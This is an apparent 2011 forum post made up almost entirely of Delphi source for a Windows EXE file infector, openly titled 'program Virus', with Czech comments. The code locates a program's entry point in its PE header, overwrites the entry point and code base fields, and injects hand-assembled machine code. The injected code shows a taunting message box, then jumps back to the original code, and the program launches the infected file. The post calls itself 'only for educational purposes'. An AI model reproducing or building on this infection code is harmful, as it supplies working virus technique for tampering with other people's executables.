09-22-2011، 12:40 AM
کد:
program Virus;
{$APPTYPE CONSOLE}
uses
Windows, Messages, SysUtils;
var
mWnd: HWnd;
FileName: string;
//procedura: Infect
//vstupni hodnoty: nazev souboru, urceni k infikovani
//popis: infikuje zadany soubor
procedure Infect(FlName:string);
const
NoOfLibs = 3;
var
iFileHandle: Integer; //Handle souboru
iFileLength: Integer; //delka nacteneho souboru
Buffer: PChar; //buffer
AddressOfOep: Integer; //adresa, kde je hodnota OEP (entry point)
BuffLen, i, OEP: Integer; //delka bufferu; pomocny integer; Entry Point
FuncPtr: array[0..NoOfLibs] of Pointer; //pointer, kde se nachazi hledana fce
LibHandle: array[0..NoOfLibs] of Integer; //handle nahranych knihoven; OEP
begin
//inicializace hodnot
WriteLn('Initializing variables...');
AddressOfOep := 0;
Buffer := '';
WriteLn('Opening file...');
iFileHandle := FileOpen(FlName, fmOpenReadWrite); //otevreni souboru
if(iFileHandle <> -1) then begin //pokud soubor nejde otevrit
WriteLn('File successfully opened as handle "',iFileHandle,'"');
iFileLength := FileSeek(iFileHandle, 0, 2); //delka souboru
WriteLn('Checking the magic bytes 10Bh');
while(buffer <> #11#1)do begin //dokud nenarazime na tyto bajty (znaci EXE pro platformu 386), tak nacitej bajty
FileSeek(iFileHandle, AddressOfOep,0); //posuneme ukazatel v souboru
Buffer := PChar(AllocMem(iFileLength + 1)); //alokujeme pamet (vyplnime #00)
FileRead(iFileHandle, Buffer^, 2); //do bufferu dalsi dva bajty
inc(AddressOfOep); //AddressOfEop += 1;, posuneme ukazatel
if(AddressOfOep > iFileLength)then begin //pokud jsme projeli cely soubor a nenarazili na bajty #11#1, ukoncime proceduru Infect
WriteLn('Magic bytes not found, exiting...');
ReadLn;
Exit; //ukoncime proceduru
end;
end;
WriteLn('Checking address of Entry Point...');
AddressOfOep := AddressOfOep + 15; //o 16 bajtu dal je hodnota, kde je Entry point
WriteLn('Checked... Address of OEP = "', IntToHex(AddressOfOep,8), 'h"');
WriteLn('Seeking Addres of OEP...');
FileSeek(iFileHandle, AddressOfOep, 0); //najedeme tam ukazatelem
Buffer := PChar(AllocMem(iFileLength + 1)); //uvolnime misto v Bufferu
WriteLn('Loading value into buffer...');
FileRead(iFileHandle, Buffer^, 4); //a nacteme do nej hodnotu OEP
//OEP
//Tady toto se mi nepodarilo zprehlednit, omluvte tento radek prosim =)
//Aspon trochu popisu co se zde deje:
//radek z bufferu odzadu (kvuli little endian) sesklada string, z ordinalnich hodnot znaku,
//ktere se navic predelaji do hexadecimalni soustavy.
//znak na zacatku '$' znamena, ze StrToInt bude pracovat s cislem v 16tkove soustave
OEP := strtoint('$'+inttohex(ord(buffer[3]),2)+inttohex(ord(buffer[2]),2)+inttohex(ord(buffer[1]),2)+inttohex(ord(buffer[0]),2));
WriteLn('OEP found! OEP = "', IntToHex(OEP,8), 'h"');
WriteLn('Freeing FuncPtr[] variable (array)');
//uvolnime pamet
for i:=0 to NoOfLibs do begin
FuncPtr[i] := nil;
end;
WriteLn('Checking address of API "MessageBoxA"...');
//zjistime adresu volani MessageBoxA
LibHandle[0] := LoadLibrary('user32.dll');
FuncPtr[0] := GetProcAddress(LibHandle[0], 'MessageBoxA');
WriteLn('Checking address of API "Sleep"...');
//zjistime adresu volani Sleep
LibHandle[2] := LoadLibrary('kernel32.dll');
FuncPtr[2] := GetProcAddress(LibHandle[2], 'Sleep');
(* mozna vas zajima, proc pisu FuncPtr[0] a pak [2] a ne [1]. Je to proto,
ze ukoncovaci znak je #00, a proto musime nechat jedno misto v arrayi
volne, jinak by nam vzniklo neco, co bychom nechteli... Kdybyste chteli
zjistit adres vice, musite vzdy vynechat mezi polemi jedno pole volne
(vcetne konecneho pole, tedy pokud mame pole dve, bude to vypadat asi takto:
[0]-udaj
[1]-00h
[2]-udaj
[3]-00h
Taky nezapomente zmenit velikost arraye ve "var", array[0..X] of ... *)
WriteLn('Rewriting OEP to 400370h...');
//prepiseme OEP na 400370h
FileSeek(iFileHandle, AddressOfOep, 0); //najedeme tam ukazatelem
Buffer := PChar(AllocMem(iFileLength + 1)); //uvolnime misto v Bufferu
Buffer := #$70#$03;
FileWrite(iFileHandle, Buffer^, 4); //a nacteme do nej hodnotu OEP
WriteLn('Rewrited...');
WriteLn('Rewriting Base of Code to 370h...');
//prepiseme Base of Code na F70h, aby jsme mohli provadet instrukce na na adrese mensi nez 1000h (tedy F70h)
FileSeek(iFileHandle, AddressOfOep+4, 0); //najedeme ukazatelem na Base of Code (4 bajty od [AddressOfOep])
Buffer := PChar(AllocMem(iFileLength + 1)); //uvolnime misto v Bufferu
Buffer := #$70#$03;
FileWrite(iFileHandle, Buffer^, 4); //a nacteme do nej hodnotu OEP
WriteLn('Rewrited...');
WriteLn('Computing last OEP...');
OEP := OEP + $400000; //vypocitame puvodni Entry Point
WriteLn('Last OEP was "', IntToHex(OEP,8), 'h"');
WriteLn('Seeking at 370h...');
FileSeek(iFileHandle,$370,0);
WriteLn('Getting values to buffer...');
buffer := pchar(
(* 400370 *) #$60 // pusha
(* 400371 *) +#$6A#$00 // push 0
(* 400373 *) +#$68 // push...
(* 400374 *) +#$99#$03#$40#$00 // ";p"
(* 400378 *) +#$68 // push
(* 400379 *) +#$9C#$03#$40#$00 // "[This file is shit]"
(* 40037D *) +#$6A#$00 // push 0
(* 40037F *) +#$B8 // mov eax, MessageBoxA
(* 400380 *) +pchar(@FuncPtr[0]) // (4 bajty)
(* 400384 *) +#$FF#$D0 // call eax
(* 400386 *) +#$68#$E8#$03#$00#$00 // push 3e8 (1000 ms)
(* 40038B *) +#$B8 // mov eax, Sleep
(* 40038C *) +pchar(@FuncPtr[2]) // (4 bajty)
(* 400390 *) +#$FF#$D0 // call eax
(* 400392 *) +#$61 // POPA
(* 400393 *) +#$68 // push minuly_OEP
(* 400397 *) +pchar(@oep)[0]+pchar(@oep)[1]+pchar(@oep)[2]+pchar(@oep)[3] //4 bajty, tuto radku taky prosim omluvte, jedna se opet o praci s promennou OEP. Pokud vite jak setrneji zjistit OEP, a na tento radek ho pridat, reknete mi =)
(* 400398 *) +#$C3 //ret
(*/[DATA]\*)////////////////////////////////
(* 400399 *) +';p'+#$00 //ASCII ";p" (3 bajty)
(* 40039C *) +'[This file is shit]'+#$00 //ASCII "[This file is shit]" (21 bajtu)
);
WriteLn('Setting BuffLen...');
BuffLen := 65; //velikost bufferu ((39Ch+21d)-370h) = 65d
WriteLn('WRITING THE VIRUS...');
FileWrite(iFileHandle, Buffer^, BuffLen);
WriteLn('Closing the file (handle = "', iFileHandle, '")');
FileClose(iFileHandle);
WriteLn('File closed...');
end else begin
WriteLn('Unable to open the file!');
ReadLn;
end;
end;
//##########################################################################\\
begin
WriteLn('Virus EXE infector - Example, by DjH');
WriteLn('WARNING: This program is only for educational purposes!!!');
WriteLn('---------------------------------------------------------');
WriteLn('Progress:');
WriteLn('Starting...');
WriteLn('Please write path to exe file, which will be infected...');
ReadLn(FileName); //cekej na uzivatelsky vstup
WriteLn('Selected file: "',ExtractFileName(FileName),'"');
WriteLn('Creating backup as ', FileName+' - Backup.exe');
CopyFile(pchar(FileName),pchar(FileName+' - Backup.exe'),true); //vytvor zalohu souboru
WriteLn('Infecting...');
Infect(FileName); //zavolej proceduru Infect, jako parametr je udan uzivatelsky vstup
WriteLn('---------------------------------------------------------');
WriteLn('Press [ENTER] to run an infected file...');
ReadLn;
WinExec(pchar(FileName),SW_SHOW); //pockej na [enter]
WriteLn('Press [ENTER] to exit...'); //spust soubor
ReadLn; //pockej na klavesu
ExitProcess(0); //ukonci vir...
end.